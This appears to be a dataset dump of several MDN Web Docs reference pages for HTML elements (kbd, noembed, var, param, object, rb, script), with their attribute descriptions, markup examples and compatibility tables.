repo_id
stringlengths
22
103
file_path
stringlengths
41
147
content
stringlengths
181
193k
__index_level_0__
int64
0
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/kbd/index.md
--- title: "<kbd>: The Keyboard Input element" slug: Web/HTML/Element/kbd page-type: html-element browser-compat: html.elements.kbd --- {{HTMLSidebar}} The **`<kbd>`** [HTML](/en-US/docs/Web/HTML) element represents a span of inline text denoting textual user input from a keyboard, voice input, or any other text entry device. By convention, the {{Glossary("user agent")}} defaults to rendering the contents of a `<kbd>` element using its default monospace font, although this is not mandated by the HTML standard. {{EmbedInteractiveExample("pages/tabbed/kbd.html", "tabbed-shorter")}} `<kbd>` may be nested in various combinations with the {{HTMLElement("samp")}} (Sample Output) element to represent various forms of input or output based on visual cues. ## Attributes This element only includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). ## Usage notes Other elements can be used in tandem with `<kbd>` to represent more specific scenarios: - Nesting a `<kbd>` element within another `<kbd>` element represents an actual key or other unit of input as a portion of a larger input. See [Representing keystrokes within an input](#representing_keystrokes_within_an_input) below. - Nesting a `<kbd>` element inside a {{HTMLElement("samp")}} element represents input that has been echoed back to the user by the system. See [Echoed input](#echoed_input), below, for an example. - Nesting a `<samp>` element inside a `<kbd>` element, on the other hand, represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen. See the example under [Representing onscreen input options](#representing_onscreen_input_options) below. > **Note:** You can define a custom style to override the browser's default font selection for the `<kbd>` element, although the user's preferences may potentially override your CSS. ## Examples ### Basic example ```html <p> Use the command <kbd>help mycommand</kbd> to view documentation for the command "mycommand". </p> ``` #### Result {{ EmbedLiveSample('Basic_example', 350, 80) }} ### Representing keystrokes within an input To describe an input comprised of multiple keystrokes, you can nest multiple `<kbd>` elements, with an outer `<kbd>` element representing the overall input and each individual keystroke or component of the input enclosed within its own `<kbd>`. #### Unstyled First, let's look at what this looks like as just plain HTML. ##### HTML ```html <p> You can also create a new document using the <kbd><kbd>Ctrl</kbd>+<kbd>N</kbd></kbd> keyboard shortcut. </p> ``` This wraps the entire key sequence in an outer `<kbd>` element, then each individual key within its own, in order to denote the components of the sequence. > **Note:** You don't need to do all this wrapping; you can choose to simplify it by leaving out the external `<kbd>` element. In other words, simplifying this to just `<kbd>Ctrl</kbd>+<kbd>N</kbd>` would be perfectly valid. > > **Note:** Depending on your style sheet, though, you may find it useful to do this kind of nesting. ##### Result The output looks like this without a style sheet applied: {{EmbedLiveSample("Unstyled", 650, 80)}} #### With custom styles We can make more sense of this by adding some CSS: ##### CSS We add a new selector for nested `<kbd>` elements, `kbd>kbd`, which we can apply when rendering keyboard keys: ```css kbd > kbd { border-radius: 3px; padding: 1px 2px 0; border: 1px solid black; } ``` ##### HTML Then we update the HTML to use this class on the keys in the output to be presented: ```html <p> You can also create a new document by pressing the <kbd><kbd>Ctrl</kbd>+<kbd>N</kbd></kbd> shortcut. </p> ``` ##### Result The result is just what we want! {{EmbedLiveSample("With_custom_styles", 650, 80)}} ### Echoed input Nesting a `<kbd>` element inside a {{HTMLElement("samp")}} element represents input that has been echoed back to the user by the system. ```html <p> If a syntax error occurs, the tool will output the initial command you typed for your review: </p> <blockquote> <samp><kbd>custom-git ad my-new-file.cpp</kbd></samp> </blockquote> ``` #### Result {{EmbedLiveSample("Echoed_input", 650, 100)}} ### Representing onscreen input options Nesting a `<samp>` element inside a `<kbd>` element represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen. For example, you can explain how to choose the "New Document" option in the "File" menu using HTML that looks like this: ```html-nolint <p> To create a new file, choose the <kbd><kbd><samp>File</samp></kbd> ⇒<kbd><samp>New Document</samp></kbd></kbd> menu option. </p> <p> Don't forget to click the <kbd><samp>OK</samp></kbd> button to confirm once you've entered the name of the new file. </p> ``` This does some interesting nesting. For the menu option description, the entire input is enclosed in a `<kbd>` element. Then, inside that, both the menu and menu item names are contained within both `<kbd>` and `<samp>`, indicating an input which is selected from a screen widget. #### Result {{EmbedLiveSample("Representing_onscreen_input_options", 650, 120)}} ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a> </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content">Flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content">phrasing content</a>, palpable content. </td> </tr> <tr> <th scope="row">Permitted content</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content">Phrasing content</a>. </td> </tr> <tr> <th scope="row">Tag omission</th> <td>{{no_tag_omission}}</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content">phrasing content</a>. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">No corresponding role</a> </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>Any</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{htmlelement("code")}}
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/noembed/index.md
--- title: "<noembed>: The Embed Fallback element" slug: Web/HTML/Element/noembed page-type: html-element status: - deprecated browser-compat: html.elements.noembed --- {{HTMLSidebar}}{{deprecated_header}} The **`<noembed>`** [HTML](/en-US/docs/Web/HTML) element is an obsolete, non-standard way to provide alternative, or "fallback", content for browsers that do not support the {{HTMLElement("embed")}} element or do not support the type of [embedded content](/en-US/docs/Web/HTML/Content_categories#embedded_content) an author wishes to use. This element was deprecated in HTML 4.01 and above in favor of placing fallback content between the opening and closing tags of an {{HTMLElement("object")}} element. > **Note:** While this element currently still works in many browsers, it is obsolete and should not be used. Use {{HTMLElement("object")}} instead, with fallback content between the opening and closing tags of the element. ## Examples The message inside `<noembed>` tag will appear only when your browser does not support `<embed>` tag. ### Show an alternative content ```html <embed type="vide/webm" src="/media/examples/flower.mp4" width="200" height="200"> <noembed> <h1>Alternative content</h1> </noembed> </embed> ``` ## Specifications {{Specifications}} ## Browser compatibility {{Compat}}
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/var/index.md
--- title: "<var>: The Variable element" slug: Web/HTML/Element/var page-type: html-element browser-compat: html.elements.var --- {{HTMLSidebar}} The **`<var>`** [HTML](/en-US/docs/Web/HTML) element represents the name of a variable in a mathematical expression or a programming context. It's typically presented using an italicized version of the current typeface, although that behavior is browser-dependent. {{EmbedInteractiveExample("pages/tabbed/var.html", "tabbed-shorter")}} ## Attributes This element only includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). ## Usage notes ### Related elements Other elements that are used in contexts in which `<var>` is commonly used include: - {{HTMLElement("code")}}: The HTML Code element - {{HTMLElement("kbd")}}: The HTML Keyboard input element - {{HTMLElement("samp")}}: The HTML Sample Output element If you encounter code that is mistakenly using `<var>` for style purposes rather than semantic purposes, you should either use a {{HTMLElement("span")}} with appropriate CSS or, an appropriate semantic element among the following: - {{HTMLElement("em")}} - {{HTMLElement("i")}} - {{HTMLElement("q")}} ### Default style Most browsers apply {{cssxref("font-style")}} to `"italic"` when rendering `<var>`. This can be overridden in CSS, like this: ```css var { font-style: normal; } ``` ## Examples ### Basic example Here's a simple example, using `<var>` to denote variable names in a mathematical equation. ```html <p>A simple equation: <var>x</var> = <var>y</var> + 2</p> ``` #### Result {{EmbedLiveSample("Basic_example", 650,80)}} ### Overriding the default style Using CSS, you can override the default style for the `<var>` element. In this example, variable names are rendered using bold Courier if it's available, otherwise it falls back to the default monospace font. #### CSS ```css var { font: bold 15px "Courier", "Courier New", monospace; } ``` #### HTML ```html <p> The variables <var>minSpeed</var> and <var>maxSpeed</var> control the minimum and maximum speed of the apparatus in revolutions per minute (RPM). </p> ``` This HTML uses `<var>` to enclose the names of two variables. #### Result {{EmbedLiveSample("Overriding_the_default_style", 650, 140)}} ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >Flow content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >, palpable content. </td> </tr> <tr> <th scope="row">Permitted content</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >Phrasing content</a >. </td> </tr> <tr> <th scope="row">Tag omission</th> <td>{{no_tag_omission}}</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role" >No corresponding role</a > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>Any</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}}
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/param/index.md
--- title: "<param>: The Object Parameter element" slug: Web/HTML/Element/param page-type: html-element status: - deprecated browser-compat: html.elements.param --- {{HTMLSidebar}}{{Deprecated_Header}} The **`<param>`** [HTML](/en-US/docs/Web/HTML) element defines parameters for an {{HTMLElement("object")}} element. > **Note:** > Use the {{HTMLElement("object")}} element with a [`data`](/en-US/docs/Web/HTML/Element/object#data) attribute to set the URL of an external resource. ## Attributes This element includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). - `name` {{deprecated_inline}} - : Name of the parameter. - `value` {{deprecated_inline}} - : Specifies the value of the parameter. - `type` {{deprecated_inline}} - : Only used if the `valuetype` is set to `ref`. Specifies the MIME type of values found at the URI specified by value. - `valuetype` {{deprecated_inline}} - : Specifies the type of the `value` attribute. Possible values are: - `data`: Default value. The value is passed to the object's implementation as a string. - `ref`: The value is a URI to a resource where run-time values are stored. - `object`: An ID of another {{HTMLElement("object")}} in the same document. ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td>None.</td> </tr> <tr> <th scope="row">Permitted content</th> <td>None; it is a {{Glossary("void element")}}.</td> </tr> <tr> <th scope="row">Tag omission</th> <td> As it is a void element, the start tag must be present and the end tag must not be present. </td> </tr> <tr> <th scope="row">Permitted parents</th> <td> An {{HTMLElement("object")}} before any <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >flow content</a >. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role" >No corresponding role</a > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>No <code>role</code> permitted</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLParamElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{HTMLElement("object")}}
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/object/index.md
--- title: "<object>: The External Object element" slug: Web/HTML/Element/object page-type: html-element browser-compat: html.elements.object --- {{HTMLSidebar}} The **`<object>`** [HTML](/en-US/docs/Web/HTML) element represents an external resource, which can be treated as an image, a nested browsing context, or a resource to be handled by a plugin. {{EmbedInteractiveExample("pages/tabbed/object.html", "tabbed-standard")}} ## Attributes This element includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). - `archive` {{deprecated_inline}} - : A space-separated list of URIs for archives of resources for the object. - `border` {{deprecated_inline}} - : The width of a border around the control, in pixels. - `classid` {{deprecated_inline}} - : The URI of the object's implementation. It can be used together with, or in place of, the **data** attribute. - `codebase` {{deprecated_inline}} - : The base path used to resolve relative URIs specified by **classid**, **data**, or **archive**. If not specified, the default is the base URI of the current document. - `codetype` {{deprecated_inline}} - : The content type of the data specified by **classid**. - `data` - : The address of the resource as a valid URL. At least one of **data** and **type** must be defined. - `declare` {{deprecated_inline}} - : The presence of this Boolean attribute makes this element a declaration only. The object must be instantiated by a subsequent `<object>` element. Repeat the `<object>` element completely each time the resource is reused. - `form` - : The form element, if any, that the object element is associated with (its _form owner_). The value of the attribute must be an ID of a {{HTMLElement("form")}} element in the same document. - `height` - : The height of the displayed resource, in [CSS pixels](https://drafts.csswg.org/css-values/#px). — (Absolute values only. [NO percentages](https://html.spec.whatwg.org/multipage/embedded-content.html#dimension-attributes)) - `name` - : The name of valid browsing context (HTML5), or the name of the control (HTML 4). - `standby` {{deprecated_inline}} - : A message that the browser can show while loading the object's implementation and data. - `type` - : The [content type](/en-US/docs/Glossary/MIME_type) of the resource specified by **data**. At least one of **data** and **type** must be defined. - `usemap` {{deprecated_inline}} - : A hash-name reference to a {{HTMLElement("map")}} element; that is a '#' followed by the value of a [`name`](/en-US/docs/Web/HTML/Element/map#name) of a map element. - `width` - : The width of the display resource, in [CSS pixels](https://drafts.csswg.org/css-values/#px). — (Absolute values only. [NO percentages](https://html.spec.whatwg.org/multipage/embedded-content.html#dimension-attributes)) ## Examples ### Embed a video #### HTML ```html <object type="video/mp4" data="https://interactive-examples.mdn.mozilla.net/media/cc0-videos/flower.webm" width="600" height="140"> <img src="path/image.jpg" alt="useful image description" /> </object> ``` #### Result {{EmbedLiveSample("Embed a video")}} If the video in the example fails to load, the user will be provided with an image as fallback content. The {{HTMLElement("img")}} tag is used to display an image. We include the `src` attribute set to the path to the image we want to embed. We also include the `alt` attribute, which provides the image with an accessible name. If the image also fails to load, the content of the `alt` attribute will be displayed. ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a> </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#flow_content">Flow content</a>; <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content">phrasing content</a>; <a href="/en-US/docs/Web/HTML/Content_categories#embedded_content">embedded content</a>, palpable content; if the element has a <a href="/en-US/docs/Web/HTML/Element/object#usemap"><code>usemap</code></a> attribute, <a href="/en-US/docs/Web/HTML/Content_categories#interactive_content">interactive content</a>; <a href="/en-US/docs/Web/HTML/Content_categories#form_listed">listed</a>, <a href="/en-US/docs/Web/HTML/Content_categories#form_submittable">submittable</a> <a href="/en-US/docs/Web/HTML/Content_categories#form-associated_content">form-associated</a> element. </td> </tr> <tr> <th scope="row">Permitted content</th> <td> zero or more {{HTMLElement("param")}} elements, then <a href="/en-US/docs/Web/HTML/Content_categories#transparent_content_model">transparent</a>. </td> </tr> <tr> <th scope="row">Tag omission</th> <td>{{no_tag_omission}}</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#embedded_content">embedded content</a>. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">No corresponding role</a> </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td> <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/application_role"><code>application</code></a>, <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/document_role"><code>document</code></a>, <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/img_role"><code>img</code></a> </td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLObjectElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{HTMLElement("embed")}} - {{HTMLElement("param")}}
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/rb/index.md
--- title: "<rb>: The Ruby Base element" slug: Web/HTML/Element/rb page-type: html-element status: - deprecated browser-compat: html.elements.rb --- {{HTMLSidebar}}{{deprecated_header}} The **`<rb>`** [HTML](/en-US/docs/Web/HTML) element is used to delimit the base text component of a {{HTMLElement("ruby") }} annotation, i.e. the text that is being annotated. One `<rb>` element should wrap each separate atomic segment of the base text. ## Attributes This element only includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). ## Usage notes - Ruby annotations are for showing pronunciation of East Asian characters, like using Japanese furigana or Taiwanese bopomofo characters. The `<rb>` element is used to separate out each segment of the ruby base text. - Even though `<rb>` is not a {{glossary("void element")}}, it is common to just include the opening tag of each element in the source code, so that the ruby markup is less complex and easier to read. The browser can then fill in the full element in the rendered version. - You need to include one {{htmlelement("rt")}} element for each base segment/`<rb>` element that you want to annotate. ## Examples ### Using rb In this example, we provide an annotation for the original character equivalent of "Kanji": ```html <ruby> <rb>漢</rb><rb>字 </rb><rp>(</rp><rt>kan</rt><rt>ji</rt><rp>)</rp> </ruby> ``` Note how we've included two `<rb>` elements, to delimit the two separate parts of the ruby base text. The annotation on the other hand is delimited by two {{htmlelement("rt")}} elements. #### Result {{EmbedLiveSample("Using_rb", "100%", 60)}} ### Separate annotations Note that we could also write this example with the two base text parts annotated completely separately. In this case we don't need to include `<rb>` elements: ```html <ruby> 漢 <rp>(</rp><rt>Kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp> </ruby> ``` #### Result {{EmbedLiveSample('Separate annotations')}} See the article about the {{HTMLElement("ruby")}} element for further examples. ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td>None.</td> </tr> <tr> <th scope="row">Permitted content</th> <td>As a child of a {{htmlelement("ruby")}} element.</td> </tr> <tr> <th scope="row">Tag omission</th> <td> The end tag can be omitted if the element is immediately followed by an {{HTMLElement("rt")}}, {{HTMLElement("rtc")}}, or {{HTMLElement("rp")}} element or another <code>&#x3C;rb></code> element, or if there is no more content in the parent element. </td> </tr> <tr> <th scope="row">Permitted parents</th> <td>A {{HTMLElement("ruby")}} element.</td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>Any</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{HTMLElement("ruby")}} - {{HTMLElement("rt")}} - {{HTMLElement("rp")}} - {{HTMLElement("rtc")}}
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/script/index.md
--- title: "<script>: The Script element" slug: Web/HTML/Element/script page-type: html-element browser-compat: html.elements.script --- {{HTMLSidebar}} The **`<script>`** [HTML](/en-US/docs/Web/HTML) element is used to embed executable code or data; this is typically used to embed or refer to JavaScript code. The `<script>` element can also be used with other languages, such as [WebGL](/en-US/docs/Web/API/WebGL_API)'s GLSL shader programming language and [JSON](/en-US/docs/Glossary/JSON). ## Attributes This element includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). - `async` - : For classic scripts, if the `async` attribute is present, then the classic script will be fetched in parallel to parsing and evaluated as soon as it is available. For [module scripts](/en-US/docs/Web/JavaScript/Guide/Modules), if the `async` attribute is present then the scripts and all their dependencies will be fetched in parallel to parsing and evaluated as soon as they are available. This attribute allows the elimination of **parser-blocking JavaScript** where the browser would have to load and evaluate scripts before continuing to parse. `defer` has a similar effect in this case. This is a boolean attribute: the presence of a boolean attribute on an element represents the true value, and the absence of the attribute represents the false value. See [Browser compatibility](#browser_compatibility) for notes on browser support. See also [Async scripts for asm.js](/en-US/docs/Games/Techniques/Async_scripts). - `blocking` {{Experimental_Inline}} - : This attribute explicitly indicates that certain operations should be blocked on the fetching of the script. The operations that are to be blocked must be a space-separated list of blocking attributes listed below. - `render`: The rendering of content on the screen is blocked. - `crossorigin` - : Normal `script` elements pass minimal information to the {{domxref('Window.error_event', 'window.onerror')}} for scripts which do not pass the standard {{Glossary("CORS")}} checks. To allow error logging for sites which use a separate domain for static media, use this attribute. See [CORS settings attributes](/en-US/docs/Web/HTML/Attributes/crossorigin) for a more descriptive explanation of its valid arguments. - `defer` - : This Boolean attribute is set to indicate to a browser that the script is meant to be executed after the document has been parsed, but before firing {{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}. Scripts with the `defer` attribute will prevent the `DOMContentLoaded` event from firing until the script has loaded and finished evaluating. > **Warning:** This attribute must not be used if the `src` attribute is absent (i.e. for inline scripts), in this case it would have no effect. > > The `defer` attribute has no effect on [module scripts](/en-US/docs/Web/JavaScript/Guide/Modules) — they defer by default. Scripts with the `defer` attribute will execute in the order in which they appear in the document. This attribute allows the elimination of **parser-blocking JavaScript** where the browser would have to load and evaluate scripts before continuing to parse. `async` has a similar effect in this case. - `fetchpriority` - : Provides a hint of the relative priority to use when fetching an external script. Allowed values: - `high` - : Signals a high-priority fetch relative to other external scripts. - `low` - : Signals a low-priority fetch relative to other external scripts. - `auto` - : Default: Signals automatic determination of fetch priority relative to other external scripts. - `integrity` - : This attribute contains inline metadata that a user agent can use to verify that a fetched resource has been delivered free of unexpected manipulation. See [Subresource Integrity](/en-US/docs/Web/Security/Subresource_Integrity). - `nomodule` - : This Boolean attribute is set to indicate that the script should not be executed in browsers that support [ES modules](/en-US/docs/Web/JavaScript/Guide/Modules) — in effect, this can be used to serve fallback scripts to older browsers that do not support modular JavaScript code. - `nonce` - : A cryptographic nonce (number used once) to allow scripts in a [script-src Content-Security-Policy](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src). The server must generate a unique nonce value each time it transmits a policy. It is critical to provide a nonce that cannot be guessed as bypassing a resource's policy is otherwise trivial. - `referrerpolicy` - : Indicates which [referrer](/en-US/docs/Web/API/Document/referrer) to send when fetching the script, or resources fetched by the script: - `no-referrer`: The {{HTTPHeader("Referer")}} header will not be sent. - `no-referrer-when-downgrade`: The {{HTTPHeader("Referer")}} header will not be sent to {{Glossary("origin")}}s without {{Glossary("TLS")}} ({{Glossary("HTTPS")}}). - `origin`: The sent referrer will be limited to the origin of the referring page: its [scheme](/en-US/docs/Learn/Common_questions/Web_mechanics/What_is_a_URL), {{Glossary("host")}}, and {{Glossary("port")}}. - `origin-when-cross-origin`: The referrer sent to other origins will be limited to the scheme, the host, and the port. Navigations on the same origin will still include the path. - `same-origin`: A referrer will be sent for {{Glossary("Same-origin policy", "same origin")}}, but cross-origin requests will contain no referrer information. - `strict-origin`: Only send the origin of the document as the referrer when the protocol security level stays the same (HTTPS→HTTPS), but don't send it to a less secure destination (HTTPS→HTTP). - `strict-origin-when-cross-origin` (default): Send a full URL when performing a same-origin request, only send the origin when the protocol security level stays the same (HTTPS→HTTPS), and send no header to a less secure destination (HTTPS→HTTP). - `unsafe-url`: The referrer will include the origin _and_ the path (but not the [fragment](/en-US/docs/Web/API/HTMLAnchorElement/hash), [password](/en-US/docs/Web/API/HTMLAnchorElement/password), or [username](/en-US/docs/Web/API/HTMLAnchorElement/username)). **This value is unsafe**, because it leaks origins and paths from TLS-protected resources to insecure origins. > **Note:** An empty string value (`""`) is both the default value, and a fallback value if `referrerpolicy` is not supported. If `referrerpolicy` is not explicitly specified on the `<script>` element, it will adopt a higher-level referrer policy, i.e. one set on the whole document or domain. If a higher-level policy is not available, the empty string is treated as being equivalent to `strict-origin-when-cross-origin`. - `src` - : This attribute specifies the URI of an external script; this can be used as an alternative to embedding a script directly within a document. - [**`type`**](/en-US/docs/Web/HTML/Element/script/type) - : This attribute indicates the type of script represented. The value of this attribute will be one of the following: - **Attribute is not set (default), an empty string, or a JavaScript MIME type** - : Indicates that the script is a "classic script", containing JavaScript code. Authors are encouraged to omit the attribute if the script refers to JavaScript code rather than specify a MIME type. JavaScript MIME types are [listed in the IANA media types specification](/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#textjavascript). - [`importmap`](/en-US/docs/Web/HTML/Element/script/type/importmap) - : This value indicates that the body of the element contains an import map. The import map is a JSON object that developers can use to control how the browser resolves module specifiers when importing [JavaScript modules](/en-US/docs/Web/JavaScript/Guide/Modules#importing_modules_using_import_maps). - `module` - : This value causes the code to be treated as a JavaScript module. The processing of the script contents is deferred. The `charset` and `defer` attributes have no effect. For information on using `module`, see our [JavaScript modules](/en-US/docs/Web/JavaScript/Guide/Modules) guide. Unlike classic scripts, module scripts require the use of the CORS protocol for cross-origin fetching. - [`speculationrules`](/en-US/docs/Web/HTML/Element/script/type/speculationrules) {{experimental_inline}} - : This value indicates that the body of the element contains speculation rules. Speculation rules take the form of a JSON object that determine what resources should be prefetched or prerendered by the browser. This is part of the {{domxref("Speculation Rules API", "", "", "nocode")}}. - **Any other value** - : The embedded content is treated as a data block, and won't be processed by the browser. Developers must use a valid MIME type that is not a JavaScript MIME type to denote data blocks. All of the other attributes will be ignored, including the `src` attribute. ### Deprecated attributes - `charset` {{Deprecated_inline}} - : If present, its value must be an {{Glossary("ASCII")}} case-insensitive match for "`utf-8`". It's unnecessary to specify the `charset` attribute, because documents must use UTF-8, and the `script` element inherits its character encoding from the document. - `language` {{Deprecated_inline}} {{Non-standard_Inline}} - : Like the `type` attribute, this attribute identifies the scripting language in use. Unlike the `type` attribute, however, this attribute's possible values were never standardized. The `type` attribute should be used instead. ## Notes Scripts without [`async`](#async), [`defer`](#defer) or `type="module"` attributes, as well as inline scripts without the `type="module"` attribute, are fetched and executed immediately before the browser continues to parse the page. The script should be served with the `text/javascript` MIME type, but browsers are lenient and only block them if the script is served with an image type (`image/*`), a video type (`video/*`), an audio type (`audio/*`), or `text/csv`. If the script is blocked, an {{domxref("HTMLElement/error_event", "error")}} event is sent to the element; otherwise, a {{domxref("HTMLElement/load_event", "load")}} event is sent. ## Examples ### Basic usage These examples show how to import (an external) script using the `<script>` element. ```html <script src="javascript.js"></script> ``` And the following examples show how to put (an inline) script inside the `<script>` element. ```html <script> alert("Hello World!"); </script> ``` ### Module fallback Browsers that support the `module` value for the [`type`](#type) attribute ignore any script with a `nomodule` attribute. That enables you to use module scripts while providing `nomodule`-marked fallback scripts for non-supporting browsers. ```html <script type="module" src="main.js"></script> <script nomodule src="fallback.js"></script> ``` ### Importing modules with importmap When importing modules in scripts, if you don't use the [`type=importmap`](#importmap) feature, then each module must be imported using a module specifier that is either an absolute or relative URL. In the example below, the first module specifier ("./shapes/square.js") resolves relative to the base URL of the document, while the second is an absolute URL. ```js import { name as squareName, draw } from "./shapes/square.js"; import { name as circleName } from "https://example.com/shapes/circle.js"; ``` An import map allows you to provide a mapping that, if matched, can replace the text in the module specifier. The import map below defines keys `square` and `circle` that can be used as aliases for the module specifiers shown above. ```html <script type="importmap"> { "imports": { "square": "./shapes/square.js", "circle": "https://example.com/shapes/circle.js" } } </script> ``` This allows us to import modules using names in the module specifier (rather than absolute or relative URLs). ```js import { name as squareName, draw } from "square"; import { name as circleName } from "circle"; ``` For more examples of what you can do with import maps, see the [Importing modules using import maps](/en-US/docs/Web/JavaScript/Guide/Modules#importing_modules_using_import_maps) section in the JavaScript modules guide. ### Embedding data in HTML You can also use the `<script>` element to embed data in HTML with server-side rendering by specifying a valid non-JavaScript MIME type in the `type` attribute. ```html <!-- Generated by the server --> <script id="data" type="application/json"> { "userId": 1234, "userName": "Maria Cruz", "memberSince": "2000-01-01T00:00:00.000Z" } </script> <!-- Static --> <script> const userInfo = JSON.parse(document.getElementById("data").text); console.log("User information: %o", userInfo); </script> ``` ### Blocking rendering till a script is fetched and executed You can include `render` token inside a `blocking` attribute; the rendering of the page will be blocked till the script is fetched and executed. In the example below, we block rendering on an async script, so that the script doesn't block parsing but is guaranteed to be evaluated before rendering starts. ```html <script blocking="render" async src="async-script.js"></script> ``` ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a> </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#metadata_content">Metadata content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#flow_content">Flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content">Phrasing content</a>. </td> </tr> <tr> <th scope="row">Permitted content</th> <td>Dynamic script such as <code>text/javascript</code>.</td> </tr> <tr> <th scope="row">Tag omission</th> <td>{{no_tag_omission}}</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#metadata_content">metadata content</a>, or any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content">phrasing content</a>. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">No corresponding role</a> </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>No <code>role</code> permitted</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLScriptElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{domxref("document.currentScript")}} - [Flavio Copes' article on loading JavaScript efficiently and explaining the differences between `async` and `defer`](https://flaviocopes.com/javascript-async-defer/) - [JavaScript modules](/en-US/docs/Web/JavaScript/Guide/Modules) guide
0
data/mdn-content/files/en-us/web/html/element/script
data/mdn-content/files/en-us/web/html/element/script/type/index.md
